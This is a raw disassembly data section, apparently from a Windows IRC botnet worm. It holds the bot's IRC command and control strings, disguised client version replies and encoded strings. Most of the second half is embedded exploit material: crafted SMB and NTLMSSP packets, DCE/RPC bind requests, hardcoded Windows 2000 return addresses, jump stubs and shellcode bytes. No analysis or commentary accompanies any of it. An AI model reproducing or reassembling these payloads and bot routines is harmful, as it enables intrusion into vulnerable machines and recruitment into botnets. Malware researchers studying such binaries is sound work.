sub_40A9CF+1AC8o dd 63h dword_419838 dd 4CBE20h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o ; cAddress:0041BD98o align 4 dword_419898 dd 0E7AAB82Ch ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 158F28h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 0FF28h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 5B7606ABh ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 26C9788h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 48B0h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 4CEEE8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 0ECE0h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 0DC9BA4F1h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 8A248h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2D77B5A0h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 10468h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 12BBA0h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 1471A0h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) aModeS db 'MODE %s',0 ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 8BD28h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 1277AE62h ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 off_419A7C dd offset loc_410DB7+1 ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 2DCF8h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 4688368h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 123B8h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 4C2338h ; DATA XREF: sub_40A9CF+114Cr align 10h aPartS db 'PART %s',0 ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 1265A0h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0C0AB0h ; DATA XREF: sub_40A9CF+10B0r align 10h aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... align 4 dword_419ADC dd 0A6CB0h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 5AF4DA8h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 8085E8h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 4CD168h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 0CEF58D2Ch ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2DB260E0h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 90BBA32Ch ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 48489E0h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1246E8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 0DFBD949h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 off_419BA4 dd offset loc_40E3E0 ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 293E0h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0E426671h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 0E04A6C27h ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 2BBDB0A9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 86670h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23C76670h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 4CBE670h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2577B5A0h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 4C38h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 123F0AA8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 289D4860h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 28A446E8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 5E9DD92Bh ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 5E9E29C3h ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 489DAC36h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 29A560E1h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 9A060h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 69F334E0h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 14EFBCE0h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 0A7768h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 0B4768h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 43B8h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 0ACh, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh ; DATA XREF: sub_40A9CF+790o dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0) dword_419DB0 dd 3115E88h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 0B12C0878h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 0EE5AD128h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) aALSsSCJEKi db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o align 4 dd 0 dword_419DFC dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: sub_40A9CF+437o dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h dd 0A087E5A6h, 2 dup(0) dword_419E48 dd 24648h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 29A012A1h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 29A0C6E9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 0FDD9520h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 25219520h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 407D28h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 47B91A8h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) aNickS db 'NICK %s',0 ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 132330h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3677C869h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: cAddress:0040C9C4o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: cAddress:0040C96Co ; cAddress:0040C9F1o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o aMessage db 'message ',0 ; DATA XREF: sub_40D53F:loc_40D629o align 4 dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 dd 5C28F5C3h, 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 dd 5C28F5C3h, 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 aAjAj db '!^J!^J',0 align 4 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 dd 2 dup(7FFDE0CCh), 0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h a__ db 0Dh,0Ah ; DATA XREF: cAddress:004106A2o ; cAddress:00410B61o db '\_/.',0 align 10h dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: cAddress:00410658o dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: cAddress:004107CAo dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: cAddress:004107F6o dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: cAddress:00410ABEo dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 dword_41A894 dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFh ; DATA XREF: cAddress:0041079Co dword_41A8A0 dd 530458Bh, 0FFFFFB24h, 0E0FFh ; DATA XREF: cAddress:0041072Eo dword_41A8AC dd 19EB10EBh, 0 ; DATA XREF: cAddress:0041084Bo dword_41A8B4 dd 0FFFF04EBh, 0FFFFh ; DATA XREF: cAddress:00410924o dword_41A8BC dd 4EB04EBh, 0 ; DATA XREF: cAddress:00410979o dword_41A8C4 dd 0FFFF04EBh, 0FFFFh ; DATA XREF: cAddress:004109CEo off_41A8CC dd offset loc_41005C ; DATA XREF: cAddress:00410A92o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: cAddress:004108A3o dword_41A8DC dd 7FFDE0EBh ; DATA XREF: cAddress:004108CFo dword_41A8E0 dd 18759Fh ; DATA XREF: cAddress:00410877o dword_41A8E4 dd 1001C59h ; DATA XREF: cAddress:00410786o dword_41A8E8 dd 1B0B0Bh ; DATA XREF: cAddress:0041075Ao dword_41A8EC dd 6EBh ; DATA XREF: cAddress:00410770o dword_41A8F0 dd 0F4EBh, 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: cAddress:00410744o dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) dd 1CEC8166h, 0E4FF07h, 1004600h, 7515123Ch, 751C123Ch dd 42B68ABAh, 42D01E50h, 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 aEu4 db 1Bh,'¥î4',0 align 4 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: cAddress:00410BB4o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: cAddress:00410BF4o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: cAddress:00410C34o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 